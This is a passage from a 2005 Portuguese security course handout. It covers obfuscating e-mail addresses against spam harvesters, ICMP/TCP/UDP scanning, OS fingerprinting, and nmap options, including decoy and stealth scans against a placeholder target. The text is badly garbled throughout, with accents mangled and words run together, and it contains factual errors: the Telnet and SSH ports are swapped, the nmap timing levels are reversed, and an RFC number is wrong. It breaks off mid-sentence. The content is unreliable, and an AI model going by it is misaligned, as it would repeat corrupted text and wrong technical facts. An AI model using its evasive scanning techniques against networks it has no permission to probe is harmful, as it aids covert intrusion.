Mas alguns administradores estatildeo fazendo sua parte uma das medidas adotadas eacute a adoccedilatildeo deservidores de SMTP que requerem a autenticaccedilatildeo dos usuaacuterios antes de enviar o e-mail agrave seu destinataacuterioA seguir seratildeo apresentadas algumas teacutecnicas que podem ser utilizadas para minimizar a accedilatildeo dosspammer71) Protegendo os endereccedilos de e-mailSegundo pesquisa realizada pelo ldquoCenter for Democracy and Technology (CDT)rdquo uma dasprincipais fontes de endereccedilos de e-mail para os spammer satildeo os websites que estatildeo disponiacuteveis e que natildeorequerem autenticaccedilatildeo Neste contento alguns acham interessante excluir os e-mail das paacuteginasimpediando este tipo de coleta por parte dos spanner mas como os verdadeiros usuaacuterios teratildeo acesso aeles O que deve ser implementado eacute uma forma de evitar que os spanner possam utilizar seus ldquorobosrdquo paracoletarem de forma automaacutetica estes endereccedilos nos websitesO funcionamento destes ldquorobos garimpeirosrdquo se baseia em encontrar algumas palavras oucaracteres chaves nas paacuteginas da internet das quais pode-se estacar ldquomailtordquo ldquordquo ldquomailrdquo ldquoe-mailrdquo e etc Aaqueles que fazem uso de algum sistema operacional UNIX-Like como o Linux podem construir seuproacuteprio scanner de e-mail com alguns comandos ( wget tr send sort cat e uniq)Mas nem tudo estaacute perdido vaacuterias satildeo as teacutecnicas que camuflagem que podem ser utilizadas amais simples podem a mais problemaacutetica para o usuaacuterio eacute utilizar um e-mail ldquofalsordquo como por exemplosuporteremova-esta-partecyberootscombr apesar de ser eficiente esta teacutecnica pode complicar a vidado usuaacuterios mais leigos que tambeacutem natildeo saberatildeo distinguir qual eacute a parte vaacutelida do endereccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 39 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Outra forma de se proteger eacute inserir no coacutedigo html o e-mail utilizando os caracteres codificados enatildeo os caracteres em siacute por exemplo no lugar de usuarioexemplocombr deveriacuteamos utilizaramp117amp115amp117amp097amp114amp105amp11amp064amp101amp120amp101amp109amp112amp108amp111amp046amp099amp111amp109amp046amp098amp114Todos os navegadores existentes conseguem interpretar estes caracteres codificados mas os robosutilizados pelos spammer natildeo possuem ferramentas para interpretar estes caracteres natildeo ainda

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

